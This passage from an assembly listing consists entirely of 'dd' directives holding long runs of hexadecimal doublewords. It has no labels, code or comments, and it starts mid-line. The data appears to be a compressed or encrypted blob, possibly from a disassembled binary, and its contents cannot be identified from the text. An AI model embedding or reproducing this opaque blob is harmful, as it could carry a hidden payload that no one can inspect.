15D0770h, 75312E30h, 0FCD31524h dd 5213A24Bh, 760088E9h, 342B50E0h, 356D001Ch, 0DDBF5C36h dd 0D8005DCBh, 6144EADEh, 1E09537h, 60EDF332h, 0C09C482Ch dd 8700FB1Dh, 249F394Eh, 1E16C4E5h, 4083FAF0h, 1525F33Bh dd 1C3E2E84h, 0A6828095h, 7AFE50ADh, 0E87C00D0h, 184A3EE0h dd 4900E60Eh, 550BF1CFh, 0E940427h, 0C964B047h, 0A41B78E0h dd 303C810Fh, 0D14F8006h, 3D60286Bh, 170E00E3h, 2F491F31h dd 6E014841h, 863EAE68h, 0C0C48B2Dh, 0FA50BF07h, 100E4E2h dd 0E86C18A0h, 0E2ECA3h, 22F4FDF0h, 3A3E3339h, 983B8000h dd 0EE3DB33Ch, 3409000Eh, 0E14A492Eh, 0D2E6943Eh, 0F1D7E904h dd 80C060EAh, 7DA15B72h, 0BD903AAh, 8D3ACA6Ch, 9F379600h dd 0D78EB84Eh, 12F03DCFh, 43F100F0h, 936D391Dh, 9901A392h dd 7470CCB2h, 45CC3672h, 78981C76h, 805CF4E2h, 87E38C78h dd 4E3C8000h, 313D1642h, 0D4B40249h, 1B097E6Ch, 64610040h dd 0FFD9FA01h, 0D8C082E3h dd 2496E0h, 8430170Bh, 38A0DE3Bh, 0E8FF3Dh, 1DF612F2h dd 0FE27FAh, 0F437B02Dh, 0B25AF849h, 734A6601h, 0E2922E09h dd 0CA54B07Ah, 3AD5F939h, 0FBFA00E7h, 28203581h, 48A8001Ch dd 504F7AB2h, 5801BA09h, 14642641h, 1D6424A6h, 3F6098ACh dd 2C13B4C9h, 3C2503BCh, 25903FCCh, 2A0014ECh, 0AEB00472h dd 4A0C76h, 18320F10h, 20CF1C8Fh, 284C9DE5h, 34C82C81h dd 60C85C9Fh, 0C2640093h, 0F0786CEEh, 5E75747Eh, 0E18088C0h dd 72F988F6h, 7690748Ch, 0D39C7894h, 0C8630080h, 0FCD0E864h dd 0B892D400h, 0E04DDC7Eh, 67983Ah, 1007EC2Dh, 0E4F8E7F4h dd 42D3FC00h, 0A22C9324h, 2E91C30h, 0F13CC038h, 6844F940h dd 66011C4Eh, 10542E50h, 5CA05344h, 0F498F090h, 1F52949Ch dd 9FA89FA4h, 92B085ACh, 0BCA203B4h, 5AF1C0C9h, 0F3FF31C8h dd 0DCEBF0C9h, 10010F1Bh, 83840B3Ah, 0DC42C29h, 3D604D1h dd 803E873Ch, 5869A02Bh, 0C5E1BF00h, 0D2F1CEE9h, 0FEBC7E38h dd 0F3EE1EBAh, 3F0280F2h, 66013142h, 0C8986C00h, 37DEFB50h dd 741A0172h, 0D7C4A78h, 69B03084h, 0D62D8A0Fh, 0EBFB0007h dd 5407849h, 0F03C6E68h, 4BC68070h, 0E7B0212Dh, 0B745AB03h dd 98D662D3h, 2DEFE2E3h, 6F004EE8h, 0F8895961h, 587E3C5Ch dd 7E5C59h, 3D0283DDh, 0AB9322h, 0A73E19A0h, 27E8CAE4h dd 33033FE2h, 67521687h, 0A593A873h, 700827B5h, 0E000E674h dd 0C77230F8h, 68D4004Dh, 5731130Eh, 0C1016349h, 0B3E182A2h dd 7F49038h, 4E560032h, 331883D7h, 88739250h, 0B300667Ah dd 8FD2300Fh, 0FBCFE6h, 0EC2708C9h, 0E0224418h, 0B62C4BE4h dd 9F005CAAh, 836F9769h, 0F39D1C6Ch, 0F2AD80A7h, 4A0AF8B8h dd 3C3EC57Dh, 0BFD9BFD3h, 51ECBBE1h, 0AA9D60C0h, 74077202h dd 6015760Dh, 5217A74h, 2F7E297Ch, 0C0D11CCFh, 274BC945h dd 0E7395DF6h, 0F4720065h, 8AF8927Eh, 0AEF20049h, 0FCBAEA24h dd 13F8BCC2h, 1682DD01h, 49B8D8F8h, 583BDAD4h, 3D385225h dd 0D64B2483h, 0C05E639Fh, 0F79E90Fh, 8F874F7Fh, 0C09DCF8Fh dd 49B592A7h, 61C303CCh, 0D7F9D1B0h, 0E3A3DD93h, 0D06CF3B0h dd 12E38h, 1E13E2A6h, 14FDC17h, 28823302h, 0F8508F38h dd 39000A16h, 0C46EC31Ch, 163A18B0h, 10E4D1h, 142E8615h dd 7F0B96EEh, 0D6BC83h, 0E4CF3D80h, 3E2D000Bh, 36740417h dd 29029EB0h, 3A533F39h, 35E0FF5Fh, 44001C7Eh, 0F9C0C30h dd 398595DBh, 8C80FF60h, 86B18284h, 44070292h, 0E15C1449h dd 88F981AFh, 1670092Ah, 4F221D50h, 0A08EC798h, 33E190E0h dd 3400C213h, 59EC4AC6h, 0E6195D6h, 72692CD8h, 50CEAEC0h dd 2CB0AD84h, 52382700h, 0E05A3E05h, 92620026h, 5B6A7EBAh dd 0EA090B72h, 0EC617Ah, 5FE98643h, 7BE0024h, 0FE4AC90h dd 17FE13E8h, 0BA3E04B8h, 0D33E6782h, 0E01CD722h, 9D2730h dd 92AA1DA6h, 89BE5EA7h, 2F2B3E02h, 60A414C0h, 1BD3A3Dh dd 9425FF4h, 0EC51019Ch, 0A0006012h, 6CE868E6h, 0FC3108CEh dd 32350087h, 33092139h, 0B100C90Dh, 5F343CD0h, 0F40B40h dd 0C832E1C0h, 765E41EAh, 257AC90Bh, 0D3430462h, 0F8838580h dd 0F6743FACh, 0B914FA80h, 1790BD38h, 80623900h, 793A7578h dd 0E87D03E4h, 5D3B2659h, 0C3B8B4CBh, 0A300B734h, 3D43B0BBh dd 207E49Fh, 3A1A3E48h, 2740240Fh, 1F71FAACh, 127E23ECh dd 0C326161Dh, 0F3A2EF00h, 3A508084h, 5780BC08h, 8AB8AE30h dd 3101430Bh, 0E1DA424Fh, 87CC7B9Ch, 0F19402E9h, 0BF3C34A6h dd 0DE7459D8h, 997F500h, 7BBCC95Ah, 3C9100D9h, 3FAF3E6Ch dd 0F3002DE7h, 0A012A205h, 0EC249Ah, 0F42CF028h, 0F2AAA338h dd 2A680E0Bh, 96058347h, 713F898h, 12140037h, 3FB24BDCh dd 5E006C24h, 0FC7778E0h, 88BE84h, 0CF39C307h, 0E147D627h dd 0B8EB6400h, 3A080E40h, 4E7D1Ah, 3C703389h, 787C527Ah dd 248E7E39h, 49000CBDh, 0E03A2CC7h, 0F5F2583Bh, 0A007D148h dd 703D0E20h, 0D74BCB3Eh, 0F6542702h, 63A5FC87h, 0BC28F892h dd 44F20E10h, 0D8C0A135h, 9D301411h, 1D720201h, 0C0DC9697h dd 732A260h, 924FE443h, 7A6E80D8h, 94004974h, 60CFD6D0h dd 5C9E7Ch, 5880DA12h, 9A1B340Fh, 3A51F60Eh, 60F8E0B2h dd 72FC5C90h, 98B5A7Fh, 908FAAF3h, 0CEBAE680h, 4A125276h dd 1903825Fh, 0F3B0C324h, 9854F0D6h, 37E0018Eh, 5C84204Ch dd 0FC38204Eh, 0D0B0EA04h, 81EA6894h, 213B121Fh, 34DF204Fh dd 0CEF0B603h, 1F9E9Ch, 1B3C10FCh, 43FA0729h, 0F04F6500h dd 7BF86E6Ch, 9C3200B8h, 1F06267Ch, 0BF0293B3h, 0F3DE7283h dd 0FAD668E6h, 5D6A7A70h, 0BB00D011h, 0DF4AD378h, 0FE24960Fh dd 0CC00FCC4h, 8C8170B0h, 9F0100CEh, 0B8C9AB30h, 1A03093Ah dd 5E08D00Fh, 5D78A835h, 2469000Bh, 0FCBC7AD2h, 0A1E4993Fh dd 87A92501h, 0C5E7B63Ah, 0EE4CDC8h, 83A295D5h, 3F2F7A0h dd 740068F0h, 783E9822h, 574946h, 259B3FA8h, 41E462A5h dd 0F8FEAC00h, 9354338Fh, 0ECEA01F6h, 3904F0F5h, 6DCF4034h dd 8100752Dh, 433509E8h, 1F284FC9h, 406E3CAAh, 0A8D0877Fh dd 0E401B6E7h, 84BA85BFh, 26CCA0DEh, 167C0094h, 28AED94Ch dd 9302F27Eh, 0F9B0A6C9h, 761350B6h, 2DED78E1h, 0CCDEF8F7h dd 9E0E0D04h, 324EEE0h, 0EA924210h, 0C08C5056h, 23745A94h dd 0F2906603h, 0DBA27099h, 0F8C5EAB5h, 0CDB8FDh, 0FA25A8E8h dd 0C90C6E61h, 20D1140Fh, 2FE140D9h, 7F13BE9h, 6C0B2B44h dd 7BC0BE58h, 0FCB778A0h, 79DC300h, 0F4E7EB88h, 0AC0400E4h dd 0CF738E3Eh, 8B000F80h, 78D09349h, 22A95Bh, 9CD8D39Ah dd 7F72DA98h, 768F7400h, 0BCB5AA2h, 8C084C78h, 42D11E00h dd 1D880E2Eh, 9F294E00h, 3D4D3CFBh, 5D3E0157h, 0E4876827h dd 938FC882h, 0F3B2660Eh, 0F0CD45C2h, 0DA4F1FEAh, 0BAE09E1Bh dd 0A5005787h, 7B5AE067h, 1C1F4CBCh, 80E79FA4h, 0A0FD92F3h dd 0B2E4219Eh, 96581D03h, 0D0C4C264h, 58B88EC9h, 6C005BF9h dd 0E3F2E04h, 8C059230h, 0F4AF56A0h, 48058F80h, 0C8B23AF6h dd 0B4398900h, 24C433CEh, 742EA201h, 0A044128Eh, 5FB26660h dd 0B44F0EAEh, 0E9C0BE8Eh, 0E310413h, 28050790h, 4BF045ECh dd 0A2923C80h, 0F6F034Fh, 88CF815Ch, 0ADCBA390h, 27F06112h dd 0E13E5D80h, 0E95101FAh, 3F6A3C5Ah, 2B78C96Dh, 598D1609h dd 0A2B11214h, 3FDA3F94h, 58FC00F2h, 3A1939ECh, 443B2C2Fh dd 623D0049h, 2437A27h, 8A34813Fh, 96351EC9h, 973E803Ch dd 95AAC277h, 0B87E7170h, 0C3E203AAh, 6F2FD30h, 0AF7462D8h dd 9B74E04h, 27B0D044h, 0F9E4E5h, 5F1DFF4Ch, 8952640Eh dd 560241EAh, 3881E975h, 2EB541Ch, 22C12EB3h, 428336E0h dd 21A3181Eh, 35C32AC0h, 0F583BD2h, 0F575AF8h, 92CF7DE0h dd 610FAAC9h, 0F9BDE8h, 0FCF4BC34h, 38390008h, 3B2D3A12h dd 4B003C43h, 9F905524h, 1274976Ch, 2C918C2h, 0E2E112C4h dd 390CE440h, 3C70142Ch, 0DA834500h, 0FE60D353h, 12F0036Ch dd 814FEEB8h, 0F3D80AE8h, 0F100DD72h, 70D0FDF2h, 4B7445B0h dd 5B4EC03Eh, 5D00667Ah, 803F7E6Fh, 0EC18B25h, 0A6F99FCEh dd 0E28B043h, 0E005C2D9h, 1E0392D8h, 20B449EAh, 0C02CEA3Bh dd 0F416Fh, 61574B4Dh, 93F985FAh, 2C6440C0h, 197ECh, 173C07A2h dd 41D122C9h, 2452D900h, 0C4926FC8h, 0C29D0F49h, 0DA45D63Fh dd 996E80CCh dd 9F0FA34Eh, 0BD3C3Bh, 0C1C725C2h, 0F9D11C60h, 3ADB9DD6h dd 3E6AF880h, 83747972h, 0BA934800h, 133F0AC2h, 5FE870h dd 767C0F45h, 0A68F854Fh, 3E3CF39h, 900EDCF5h, 70409801h dd 4E0F018Eh, 582D8921h, 0E0B4F5FAh, 760EC359h, 4E86F379h dd 0F29F808Eh, 4DECE9A4h, 0F13082B9h, 72310C89h, 20491600h dd 3D323CBEh, 347E23Eh, 6D27663Fh, 99F85EECh, 0AC3825C0h dd 6005070Bh, 0E6C593CEh, 2504180h, 0C314034Fh, 5DB3285Ah dd 0B2D381A8h, 0F2BBE309h, 5CD880E6h, 486E2D2Ah, 580570FAh dd 0F0817C90h, 4E019555h, 0BF5E0F9Eh, 0D6C9C9CFh, 72C2DECCh dd 0FA702C60h, 765D06AEh, 27008D7Bh, 0D9F641C1h, 7938E9F9h dd 4B037946h, 7E5FCEEh, 853D7E58h, 2E0591B0h, 16A101ABh dd 0FCCFCE20h, 92F1C8DFh, 1101CC7Ah, 84321E36h, 0F840563Bh dd 22824Ch, 4F2A7063h, 8EF60F7Ch, 98CF39h, 0C2A8CBA1h dd 3A94E124h, 27AE38D3h, 1E200FC5h, 0B3329201h, 0F0C14768h dd 0F1A0E288h, 0C21F1200h, 0DF27C791h, 0E2F8F641h, 72380F07h dd 83E04E15h, 64C35CD8h, 0E26FD307h, 0C69049B2h, 924D7F9h dd 859FEDD6h, 5AFE9170h, 8056B03Ah, 0F8A6F490h, 9A94ABh dd 0AAA0D813h, 773A394Eh, 3E1E59F0h, 4C0EC49h, 40900C3Dh dd 423000BCh, 0ADA0997h, 1239E002h, 8E76B857h, 409F84ECh dd 98A8BB2Eh, 6B30FF3Fh, 9E100326h, 5B133C9Dh, 7C27D400h dd 6CC7D461h, 7405EE14h, 0F83B1F84h, 84629F96h, 80F99EBAh dd 4E740C38h, 9D9A2D38h, 6B805678h, 0CFA2E80Fh, 0EECB00E5h dd 34030E41h, 1CF81694h, 1700FDB8h, 4A384929h, 395D9699h dd 890083F9h, 0A1278A68h, 0B17BAC61h, 0D26CCB00h, 6436DE2Eh dd 184E00FCh, 78D82A49h, 3BF01EB8h, 8756C23Bh, 30546C62h dd 0C0D375A2h, 0EB53CAAh, 0E27E0E50h, 95DF140h, 430E2506h dd 63AF3487h, 14A4D9h, 3BA03AACh, 3DB43CA5h, 0DE2CC91Fh dd 3EB18404h, 58882A80h, 0FEDBFEDAh, 1E3F4DFh, 0A861E725h dd 71F3F9EFh, 6CFBD038h, 70EFA05h, 0FD000D3Fh, 37CF258Eh dd 4F3D380Fh, 1E558F9Eh, 0C96D8067h, 4EC05881h, 50839502h dd 74C8F3BAh, 80EB1D7Bh, 0B004F7FAh, 0E4000982h, 1B11C4F1h dd 3C533Bh, 3E5B3D57h, 4E63265Fh, 0C26B9200h, 50698074h dd 0C4C2A09Ch, 36AF4B8h, 0F6C97831h, 1000D9BDh, 2775760Bh dd 64B5E0h, 3ADCAC4Dh, 1C5A2472h, 351A8500h, 0BC9093A7h dd 0DBC600A2h, 37163896h, 76001D04h, 0C8C50C17h, 8DF40Fh dd 6CE1918Bh, 539DF999h, 0F2A5FC00h, 0C5FEA7A9h, 0E4D900E7h dd 1568F0EDh, 840E879Fh, 8251673Dh, 0C08CF872h, 8EC19Eh dd 90093E82h, 4F92F08Ah, 7C42E6E5h, 0A27E3A40h, 0C2AA4A00h dd 887CEAB2h, 0E0120313h, 5DE84982h, 987A9CD8h, 7E0EACFAh dd 0E0E959C0h, 253A110Eh, 3BFA005Fh, 3D613C4Dh, 0B27B3E87h dd 0E5072D9Eh, 0E4708464h, 1F11B58Ch, 6CAB9Ch, 9302F624h dd 8600C218h, 0C0E48457h, 9085E808h, 4E5D2C33h, 0B3CF003Eh dd 0BB4BB70Fh, 5BA25001h, 0CB4C0BC3h, 0A4392EDDh, 0FDB0C7Bh dd 311EF754h, 2D921C09h, 80418BC9h, 2171FE4Dh, 33B01F28h dd 0D1C300B9h, 344CD8D3h, 0AC394F2Eh, 36E9A300h, 0EAF8E1EFh dd 0BF50002h, 0FFD131FDh, 820787DAh, 4C35272Dh, 49F044E0h dd 4749Fh, 97C2A076h, 87260BB7h, 0E5A31C00h, 0AFEAB0A7h dd 0BAB300FCh, 54BB7E22h, 0C70B9EBFh, 80508BB5h, 0F34BE1B1h dd 3F80561h, 8342092Eh, 23D83E61h, 0C23B3A84h, 305C8351h dd 77937B1Fh, 70980186h, 34AC5D5Eh, 0CA2D603Fh, 0DE08C102h dd 0C0060F2Eh, 580A12h, 4A3074FEh, 44F6C838h, 0F8919500h dd 0FA272B50h, 36A41EFBh, 3A564045h, 0DC9270E8h, 4AA97400h dd 0E0CC5FD5h, 0FD41D6Eh, 810E40D3h, 0E1ECB1E8h, 9511F003h dd 0F0998A04h, 0EC0F5E2h, 9C8F3263h, 9EA81D60h, 0E30016BAh dd 93F726E1h, 41747h, 0F8C26334h, 9EC669D7h, 95A7C00h dd 0A966374Fh, 968500A0h, 6E50920Eh, 0CE0F7E49h, 602E7824h dd 0B08E16AEh, 0F0EB121Ch, 0D2740042h, 0BC6B4466h, 0DA2E2637h dd 0D5D0B8B7h, 4BBEA8h, 3DF28329h, 0F0E947B2h, 0E68F5E50h dd 7EC97305h, 9D87DA70h, 0AB5A9D50h, 0BE443EC2h, 0D21FA400h dd 0F8490D97h, 20E1290Bh, 0FBAE05Bh, 0CF862C8Ah, 0C9960767h dd 0AE24F29Eh, 0BE748E58h, 93FC600h, 2AE4D68Eh, 3D030013h dd 260F097h, 7D003E2Fh, 3F217081h, 4386C29h, 4C26453Bh dd 500ABAEh, 0C811E088h, 39EA015Ch, 2D663A2Fh, 0A7868076h dd 0A8CEBC24h, 3C0F5CDCh, 414F3300h, 0F07E3409h, 0D85D9C00h dd 50BA5CC0h, 953800D7h, 0A0596685h, 0F8009E1Ch, 0DC1AFCF5h dd 3D519D3Eh, 0C58B7B1Dh, 1380E112h, 5EFCF04Dh, 0E4168800h dd 5014C609h, 44762CD8h, 607A013Ch, 0DC4B7B7Ch, 0DA014A0Eh dd 30D0E98Bh, 0EAE41B4Eh, 46CF0034h, 0CC38C003h, 4B00DD92h dd 0B2F0BDE4h, 9E9CA8h, 0D126C26h, 0E82972E0h, 6A9A3700h dd 8549807Ah, 0C72700DAh, 9CC11642h, 0CC4C68D6h, 0EC80B14h dd 727D003Ch, 0BFC9FD8Eh, 2F4DD583h, 0EF8020E9h, 509BB0E7h dd 6898B038h, 101CEA00h, 2F92153Fh, 0D6282CE0h, 8E9F03FEh dd 32B009B6h, 6800C19Ch, 0D136C926h, 3A49D93Eh, 5E87B228h dd 70617F2Fh, 960B3FA0h, 24D8B50Bh, 0C4B88098h, 0DAC954h dd 50859DD3h, 15CAE0DDh, 2931260Fh, 92626088h, 0AE8276h dd 2C7C7E9Eh, 3249017Ah, 4D334200h, 0EC3C80C9h, 84D7002Fh dd 0F6F819DAh, 0C101BC27h, 166EE9D8h, 0DA300964h, 0B89C0058h dd 4C897898h, 1C0091A5h, 4E9D4636h, 169E5E1Dh, 0B0831E66h dd 0A800ACA7h, 746C72BBh, 0E27693h, 69385C12h, 0B27C2683h dd 6600C9E8h, 0F9B4F1A1h, 27BCAh, 0C390516h, 17A34AC3h dd 0C223B300h, 7E06702Fh, 525E0040h, 0C968660Fh, 36094188h dd 0D96C6494h, 69201EBh, 0CC4A74B0h, 0E6724009h, 3A024200h dd 2CC2104Eh, 70E8FC3Ch, 28682641h, 2A8E3F4Bh, 0FA00D34Ch dd 0DD315230h, 34293300h, 84A7672h, 0AB0C1C0Bh, 0D3E640h dd 58C98D5Eh, 880E3C20h, 0A00965E4h, 0E3603E41h, 6CD0F78Ah dd 707D2Dh, 0E498C720h, 232979Ch, 0DE1C1072h, 0F88045C4h dd 620D2F22h, 66E113EAh, 7B980006h, 0D812EE0Bh, 1A4BF002h dd 0E2C63AC3h, 33AEC013h, 0BEE400AFh, 265081B7h, 3C019335h dd 410E251Ch, 0E0306474h, 0E2E80030h, 9682DC06h, 8600562Dh dd 5A2C621Fh, 91DA49Dh, 3CFE81FBh, 0C8FA4D80h, 1C003E57h dd 93713F46h, 0B4E179h, 0F4B12260h, 0FCC7F8BCh, 58DDFF4Ch dd 947C053Ch, 0C3C0FE80h, 901D31h, 96849754h, 2E08BC1Ah dd 25CA6F00h, 40E15E87h, 553800F4h, 745B7239h, 8F704983h dd 3EAE3D00h, 0EAF32CC6h, 1EC001B3h, 46A2B92h, 0E956E4C1h dd 4B00F1E2h, 0F24CE238h, 3824763Bh, 3D80099Fh, 4E32D847h dd 2E00C366h, 0DC94D28Ch, 279C122Ch, 4DC19E83h, 4A1670F2h dd 96B41F07h, 893C2F6h, 22929063h, 0B29D0043h, 7CD07054h dd 0BD007EB8h, 0C53F8917h, 74230B1h, 7724F080h, 499E00D2h dd 0E100D6FAh, 6807E9F5h, 3263A66h, 3CE42B24h, 0D9B88F3Dh dd 2D3E93BCh, 0EC560BA0h, 0B575815Eh, 0E7F8FA07h, 0F9E405F1h dd 0C05D6093h, 856449E8h, 27CA781Eh, 0A17207C0h, 14E4ACE7h dd 0BE76E0BBh, 38B4CE00h, 60A00A17h, 89951A00h, 311C04B6h dd 3C74B8BCh, 4F81613Dh dd 0FC5BE434h, 608E6163h, 0B7E2B0A5h, 98879703h, 93CEE7C4h dd 0E4DAA0D5h, 9CBC01E2h, 5804F32Dh, 2794DC09h, 8C07161Eh dd 93FE8FC0h, 0FE36323Fh, 7E8A3C70h, 3772007Fh, 8640A06Bh dd 0A5E21CB4h, 1DB89D00h, 15F09ECDh, 2FFA002Dh, 8BCA856Ch dd 0C80ED4D3h, 0C03CC1E1h, 3E7C0C92h, 5602C11Dh, 0E4C36296h dd 1B0BE0FFh, 0BE273Fh, 0B64F46DCh, 7449176Ch, 7C5E04D8h dd 0C8B3C05Bh, 401C5070h, 1C014F0h, 0EE300BA3h, 3A7C32h dd 0F916640Ch, 2F34B8FDh, 0C6610500h, 0E177310Dh, 0E3B0086h dd 29ED25E0h, 560028CCh, 2E7353Fh, 741C53Dh, 0FC4992A0h dd 0FD51204Dh, 59008C20h, 611FFA94h, 76593h, 25923B98h dd 9A08E002h, 380A9C00h, 1FEC824Ah, 0F77A48DEh, 987C4B00h dd 76165C26h, 96308312h, 0ACFA4A00h, 12B0D4h, 0BC684FB4h dd 7678C0CBh, 75C85B3Bh, 50F08B00h, 87F84ACAh, 3F032772h dd 0C200D4ECh, 7E265814h, 48204A1Ch, 0F413F68Bh, 28EEE292h dd 6000FAB7h, 68E564E7h, 3E70DE4Ah, 0B9935EE0h, 3EBEA0A8h dd 0B41A0F00h, 6AA7B8C9h, 0C4E400C0h, 0FCCC64E0h, 0C600BAD0h dd 0BECBD85Bh, 0EB250C9h, 40C61F0h, 0C32A08E0h, 14E6104Ch dd 0E318D300h, 0F020F21Ch, 285B0086h, 79FBD0C7h, 580E71D2h dd 46FA5CF9h, 8AE548h, 7CFC78A0h, 8416A29Ch, 8CE8F012h dd 13EA5700h, 0B682B4h, 0CCE058C0h, 88D860C9h, 2305E71Dh dd 2D01BC9Fh, 0C0C83166h, 0C93CCCh, 0F0686F40h, 4F2EFD64h dd 81709E3Dh, 7CECC174h, 84C880F9h, 2FE60078h, 9404418Ch dd 65A2E7Ah, 0E3C0F5C3h, 760CE2C4h, 0E8E2840h, 0DCCFD8E0h dd 1CCB405Dh, 2C5FAA70h, 3C100905h, 94A87C78h, 0E15C8A00h dd 74F96C12h, 84222F00h, 44AE568Ch, 0AAAC01A4h, 0A661B425h dd 588240C4h, 0BF63064h, 0A4701A00h, 0B8E884D2h, 0B8C752Dh dd 16FC9462h, 0B84970h, 0A803A47Dh, 6FB02CC1h, 7BB8F80Bh dd 1C4107FEh, 0A02F3834h, 20704832h, 0F5C5A00h, 6CCB689Ah dd 2FF0747Bh, 0AB63DC79h, 96F441BFh, 0C04630F8h, 8004353Eh dd 0E164C611h, 0FA6CE968h, 0AEE70h, 0E285B778h, 0B9E4BC80h dd 0C07C3E01h, 0C20B9FC8h, 0FAD464F4h, 0DC2D00FAh, 0F1C9FCE5h dd 301FD9D2h, 38800B3Eh, 7C7214D1h, 4FDE00E4h, 0A0E68298h dd 120036F4h, 0B0AA83A8h, 0F2B4F3h, 4F48D0B8h, 96F69FC0h dd 10609C00h, 18888597h, 206A3EB0h, 28068480h, 64E808FDh dd 1344BC01h, 740EF06Ch, 80A8C680h, 88B00F2Fh, 588CC900h dd 0DE944FC6h, 0D08F0E1Eh, 5263D4CBh, 0E090DC7Eh, 0B00E45Bh dd 8650ECAEh, 3F0FF45Eh, 0E80FC76h, 8490438h, 4A48EE58h dd 18F00073h, 0F4561CE2h, 147B01Fh, 162C9328h, 0D8A4B1AFh dd 0E07F3C02h, 87B5440Bh, 75F858h, 4B854E4h, 602F5C3Fh dd 15A00E03h, 85B6AB01h, 3FF013Bh, 40E86090h, 0EB0E1506h dd 87821144h, 2EB590DBh, 4D02E00Ah, 44BB18DEh, 0DD039029h dd 719D2B18h, 33BD8311h, 89AD30D8h, 832E2FE9h, 3E850F0Eh dd 8D183B05h, 5027E030h, 0EC2095FFh, 60897D31h, 0F88B1BDCh dd 0ED669D8Dh, 432D5311h, 797936E8h, 21FA4228h, 4E7D4457h dd 6A49D48Bh, 6A075618h, 10066804h, 0DF46EAA0h, 4C6D38ABh dd 75264268h, 2A453AA3h, 0E853C70Ch, 7F8B3774h, 0FBD51C8h dd 1B41B5E1h, 0ACE2A4F3h, 0A3807623h, 57E35036h, 850E0E8Dh dd 7EF2C51h, 10AC3C0h, 2100409Ch, 2002B063h, 7F3C9008h dd 145200C4h, 4409108Ch, 0D8BD21CCh, 57E100E0h, 330E0520h dd 8500222Ch, 4FF016Fh, 559D8Bh, 0B0CC02Ah, 0A7A74DBh dd 870003ECh, 89195985h, 318DF0h, 831171B5h, 840FC03Eh dd 47D36A1Dh, 468B4043h, 68E4C004h, 141EFC99h, 9A063850h dd 0EC305586h, 8B560D1Fh, 9D0309C5h, 51A0BB05h, 2F29A03h dd 6EBD8880h, 12D0070h, 85FE4C75h, 8B0F0940h, 0E050033Eh dd 370EFF1Eh, 0C30707C6h, 0CF8FD7A7h, 535651A3h, 83BA00D5h dd 0B55506E9h, 33173FE0h, 56000BDBh, 1A781C03h, 0E83C17ACh dd 0E9FA00BBh, 494304D8h, 0EDEB0100h, 0C3831E29h, 0C6CD0005h dd 0FA4C76F3h, 5B070DE0h, 6258595Eh, 36104837h, 0F90CC1h dd 8DA5F302h, 3C0377E1h, 535EA400h, 809C5088h, 9B853B82h dd 7D8A083Bh, 1ED57AB2h, 0FF45C0C1h, 64E402A9h, 0E10729FEh dd 864B5595h, 2B0F1970h, 79D89DD0h, 0E8C1C200h, 0B88A4610h dd 235D0067h, 4C3A6D03h, 0FC0074FFh, 834E548Bh, 0D17308h dd 0ADCA7DACh, 0C107EF66h, 910CEB00h, 9D7401FBh, 5002070Bh dd 0C7033D16h, 2F2CF020h, 0E3001481h, 79820FFFh, 0E604011Fh dd 7E1D79D4h, 390EEEB2h, 8DBD462Dh, 0B8E20200h, 61DC9ED9h dd 128B4B0Ah, 6000E203h, 40C0850Ch, 1539071h, 0EAC2EB83h dd 20C7A2D8h, 26000CF0h, 53073275h, 29F016h, 4A4D6E04h dd 413BB4C7h, 0C403A901h, 66470646h, 107AD8h, 1B57ED6Ah dd 7ED618B7h, 0FA511A00h, 850D41B0h, 0A49900DBh, 62F759A2h dd 802501ECh, 0F0F475h, 5653C543h, 6500028Ah, 19B5AC7Fh dd 0E6E8B850h, 755B0367h, 2A25A66Fh, 0D28B57E0h, 83659839h dd 31342BC7h, 99E9D842h, 4939012Ah, 37DC3606h, 188EDC53h dd 5A247500h, 0C1124AD3h, 140200E2h, 3F7C0F63h, 835F3C7Bh dd 30AE0h, 0D91CA35Ch, 0A1DE1304h, 0EB5F2300h, 21515A16h dd 8177A4h, 8307894Bh, 3704B14Ch, 0AF32E900h, 4A2D06E7h dd 710E892h, 0D9141C0Ah, 0FEEBF0C1h, 8500BA24h, 0A4506544h dd 735B483Dh, 100400C2h, 61022F11h, 0B81F0875h, 0C402201h dd 32BF54Bh, 1C9300C3h, 0B715588Dh, 0AC005051h, 7656DCD3h dd 3942DEBBh, 0A3804825h, 2708ED21h, 9400DB30h, 641A8B4Ah dd 38D83D3Ch, 0C40283D0h, 306A5F10h, 0E1468961h, 0C9C2301Dh dd 2C47F600h, 513C978Ah, 74985Bh, 43A57729h, 14959FEFh dd 4CC2CE01h, 0F4391833h, 0AB10D4h, 0AC4A4051h, 779F196Eh dd 53D51E00h, 56D28D89h, 0E49B00F2h, 68C598F0h, 0C73BC84Dh dd 50D480DAh, 5C9CB6BEh, 31EEE4h, 13B5A1Fh, 3733888Ah dd 0EF60DA00h, 0BB86BC39h, 0E2EE006Fh, 1072C6DCh, 0AE0096FEh dd 24CF0A7Dh, 0ADB14Fh, 4C2A4481h, 0CDD53940h, 0C8012301h dd 79B62C09h, 0BFF1E4h, 17607C0Eh, 0AB51E0FEh, 8D0061EAh dd 1690FBD6h, 2FD240h, 28A1B4D4h, 587CC109h, 0B8191100h dd 98107174h, 0C72A0059h, 0BEBB8531h, 80009F8Bh, 233935E8h dd 37BD87h, 92DF5D63h, 4E4F0372h, 6D009579h, 57B9D5E4h dd 38DEA83h, 82B7CD0Fh, 7C00DBCh, 0B103FD41h, 87A3972Ah dd 8ACFE029h, 48240078h, 0B7EA61E9h, 0D5EE7649h, 0F768441Dh dd 0A1145080h, 0F2C4BC60h, 0C8E0027h, 0A0656631h, 0BF00174Bh dd 3FD6872Ah, 6EEDF1h, 0DC8ED3BCh, 0AD30EC57h, 0D548E5FAh dd 56CB05FDh, 0C3BB4CF1h, 800A1DBh, 0A575C410h, 8CDBEh dd 31E18193h, 42CED970h, 0DE19DD1Fh, 71959987h, 3F8F1CA0h dd 4698003Dh, 0DB31A266h, 50030A8Eh, 5DA8D0F7h, 59C6D05Ch dd 24D51EC2h, 0B842CF0Ch, 0BD49E9C0h, 8100262Dh, 62CDBB78h dd 0A2023h, 0B0FCEC59h, 5C33F086h, 0D79BE600h, 0ABE21B42h dd 411C0060h, 5D740602h, 0F00ECC61h, 7F834AC6h, 2FA2EC0Eh dd 31472075h, 0D55E0Fh, 0B39E8D01h, 0C78E62D4h, 5A1DCD00h dd 0F5B2F9A4h, 0A22F6092h, 1C684ADEh, 512E1E0Eh, 451A4069h dd 0F430F8Ch, 0B82A844Eh dd 0FA7B6C20h, 0B400A860h, 768BC7DFh, 7DB91A0h, 179A270Ah dd 487F006Bh, 0EA038997h, 633644D0h, 1504E083h, 18CECDFh dd 35586176h, 0C46F24BFh, 0E63B5599h, 0EC2B0019h, 17685464h dd 0A16A00D0h, 0BB2624A3h, 0F47C76F0h, 1DAFDB04h, 8280E69Bh dd 88662Ah, 650824C9h, 0E978890Fh, 737938h, 50D74341h dd 6EC21Dh, 69EC54E7h, 1367D3B3h, 3E74EA1Eh, 7B9D3700h dd 0CEB45Ch, 62574738h, 33B5B6E9h, 61B30800h, 31033CF3h 